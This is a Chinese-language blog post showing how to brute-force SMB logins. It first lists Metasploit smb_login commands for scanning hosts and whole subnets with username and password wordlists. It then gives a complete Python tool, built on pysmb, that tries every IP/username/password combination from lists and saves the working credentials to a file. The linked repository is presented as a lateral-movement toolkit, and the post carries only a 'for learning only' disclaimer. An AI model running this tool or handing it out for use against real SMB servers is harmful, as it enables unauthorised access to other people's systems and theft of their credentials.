2022年 11月 5日

python实现SMB服务账号密码爆破功能 Metasploit 中的 smb_login

Server Message Block (SMB) Intro

服务器消息块 (SMB) 协议是一种网络文件共享协议,它允许计算机上的应用程序读取和写入文件并从计算机网络中的服务器程序请求服务。客户端可以读取、创建和修改远程服务器上的文件。
本文目标是用python实现 metasploit 中的 smb_login功能:

  1. Single Credential Login Scanner 单凭证登录扫描
  2. Multiple Credentials Login Scanner 多凭证登录扫描
  3. Credentials Collection 生成凭证

SMB 主要漏洞

漏洞名称 CVE编号 发现日期
EternalBlue MS17-010 2017
SMBGhost CVE-2020-0796 2020. 3

扫描smb服务可以查出版本漏洞,以及弱口令漏洞。

Metasploit 中的 smb_login

在运行Metasploit 后运行下面代码,user.txt 和 pass.txt分别为用户设置的用户名字典密码字典 (也可以只设置单个用户名或密码),设置的扫描目标IP地址是RHOSTS。

use auxiliary/scanner/smb/smb_login 
set RHOSTS 192.168.10.16
set USER_FILE /root/users.txt
set PASS_FILE /root/pass.txt
run
  • 1
  • 2
  • 3
  • 4
  • 5

smb_login 也可以扫描多个IP地址以及整个网段,只需要在RHIOSTS里设置:

set RHOSTS 192.168.10.10, 192.168.10.11
set RHOSTS 192.168.10.0/24
  • 1
  • 2

Python 实现 smb_login

python代码运用了SMBConnection库。实现了三个SMB扫描的基本功能:

  1. Single Credential Login Scanner 单凭证登录扫描
  2. Multiple Credentials Login Scanner 多凭证登录扫描
  3. Credentials Collection 生成凭证

注:此脚本仅供学习,任何非法使用与本人无关。

import os
from smb.SMBConnection import SMBConnection

############################ Clear Consle While Start a Loop ##############################
def clear():
    os.system('cls') #on Windows System

############################ Collect Single Credential From User Input ##############################
def CollectCredential():
    remote_ip = input('Enter Host IP:')
    username = input('Enter SMB Username:')
    password = input('Enter SMB Password:')
    domain = input('Enter Domain Name:')
    return(remote_ip,username,password,domain)

############################ Verify the Input File Direction ##############################
# If the direction cannot be found, set the input as an atribute.
def VerifyFile(up):
    ver = []
    try:
        file = open(up, 'r')
        data = file.readlines()
        print('File Direction Verified.')
        for line in data:
            ver.append(line.strip())
    except:
        ver.append(up)
        return ver
    return ver

############################ Collect File Directions From User Input ##############################
#Support IP, username, password SMB brute force attack, 
#user can input single attributes replace one to three attributes with files
def CollectFiles():
    remote_ip = input('Enter Host IP or File Direction:')
    remote_ip = VerifyFile(remote_ip)
    username = input('Enter SMB Username or File Direction:')
    username = VerifyFile(username)
    password = input('Enter SMB Password or File Direction:')
    password = VerifyFile(password)
    domain = input('Enter Domain Name:')
    return(remote_ip,username,password,domain)

############################ Generate Collected Credentials in to Files ##############################                      
def GenerateCredentials():
    try:
        with open("Credential.txt",mode='w',encoding='utf-8') as ff:
            for i in range(len(credential)): 
                ff.write(credential[i]+' ')
                if (i+1) % 4 == 0:
                    ff.write('\n')
    except FileNotFoundError:
        with open("Credential.txt",mode='w',encoding='utf-8') as ff:
            for i in range(len(credential)): 
                ff.write(credential[i]+' ')
                if (i+1) % 4 == 0:
                    ff.write('\n')

############################ SMB Functions Using SMBConnection ##############################
class SMB(object):
    def __init__(self,remote_ip,username,password,domain):
        self.remote_ip = remote_ip
        self.username = username
        self.password = password
        self.domain = domain

############################ Use the Single Credential CollectCredential() to Login ##############################     
  
    def SingleLoginScanner(self):
        my_name = ""
        remote_name = ""
        try:
            self.conn = SMBConnection(self.username, self.password, my_name, remote_name, self.domain, use_ntlm_v2=True, sign_options=2, is_direct_tcp=True)

            connected = self.conn.connect(self.remote_ip,445)   
            if connected == True:
                print('Success :) %s USERNAME:%s PASSWORD:%s DOMAIN:%s' %(self.remote_ip, self.username, self.password, self.domain))

                credential.append(self.remote_ip)
                credential.append(self.username)
                credential.append(self.password)
                credential.append(self.domain)
                print("Credential",credential)
            else:
                print('False   :( %s USERNAME:%s PASSWORD:%s DOMAIN:%s' %(self.remote_ip, self.username, self.password, self.domain))
            self.conn.close()   
        except Exception as e:
            print(e)

############################ Use the Multiple Credentials CollectFiles() to Login ##############################     
    def MultiLoginScanner(self):
        count = 0
        my_name = ""
        remote_name = ""
        for ip in self.remote_ip:
            for username in self.username:
                for password in self.password:
                    count += 1
                    try:
                        self.conn = SMBConnection(username, password, self.domain, my_name, remote_name, use_ntlm_v2=True, sign_options=2, is_direct_tcp=True)
                        connected = self.conn.connect(ip,445)      
                        if connected == True:
                            print('%d Success :) %s USERNAME:%s PASSWORD:%s DOMAIN:%s' %(count, ip, username, password, self.domain))
                            credential.append(ip)
                            credential.append(username)
                            credential.append(password)
                            credential.append(self.domain)
                            print("Credential",credential)
                        else:
                            print('%d False   :( %s USERNAME:%s PASSWORD:%s DOMAIN:%s' %(count, ip, username, password, self.domain))   
                        self.conn.close()
                    except Exception as e:
                        print('%d False   :( %s USERNAME:%s PASSWORD:%s DOMAIN:%s' %(count, ip, username, password, self.domain))
                        print(e)

############################ SMB Functions Support User to Chose ##############################
def main():
    while(1):
        print('********************SMB PYTHON TOOKIT********************')
        print('1. Single credential SMB Login Scanner')
        print('2. Credentials list from file SMB Brute Force')
        print('3. Generate Collected Credentials')
        print('4. Quit')
        print('*********************************************************\n')
        chose = input('Type number to pick function:')
            
        if chose == '1':
            print('Only support to input single ip address, username and password.\n')
            remote_ip,username,password,domain = CollectCredential()
            smb = SMB(remote_ip,username,password,domain) 
            smb.SingleLoginScanner()

        elif chose == '2':
            print('Support Local File Directories contain ip/username/password or they will be recognized as a string.\n')
            remote_ip,username,password,domain = CollectFiles()
            smb = SMB(remote_ip,username,password,domain) 
            smb.MultiLoginScanner()

        elif chose == '3':
            print('Generating Successful Credentials in a txt file...\n')
            GenerateCredentials()
            print('Generated Credential.txt in the same python Directory.\n')
            
        else:
            print('Please input valid number!\n')
            clear()
        
if __name__ == '__main__':
    credential = []
    main()
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54
  • 55
  • 56
  • 57
  • 58
  • 59
  • 60
  • 61
  • 62
  • 63
  • 64
  • 65
  • 66
  • 67
  • 68
  • 69
  • 70
  • 71
  • 72
  • 73
  • 74
  • 75
  • 76
  • 77
  • 78
  • 79
  • 80
  • 81
  • 82
  • 83
  • 84
  • 85
  • 86
  • 87
  • 88
  • 89
  • 90
  • 91
  • 92
  • 93
  • 94
  • 95
  • 96
  • 97
  • 98
  • 99
  • 100
  • 101
  • 102
  • 103
  • 104
  • 105
  • 106
  • 107
  • 108
  • 109
  • 110
  • 111
  • 112
  • 113
  • 114
  • 115
  • 116
  • 117
  • 118
  • 119
  • 120
  • 121
  • 122
  • 123
  • 124
  • 125
  • 126
  • 127
  • 128
  • 129
  • 130
  • 131
  • 132
  • 133
  • 134
  • 135
  • 136
  • 137
  • 138
  • 139
  • 140
  • 141
  • 142
  • 143
  • 144
  • 145
  • 146
  • 147
  • 148
  • 149
  • 150

Github 代码:https://github.com/redemptionwxy/SMB-Python-Lateral-Movement-Toolkit

Reference

https://github.com/rahulinux/PythonPractice-/blob/master/samba_client.py

https://github.com/n3if/scripts/blob/master/smb_enumerator/smb_enumerator.py

https://pysmb.readthedocs.io/en/latest/api/smb_SMBConnection.html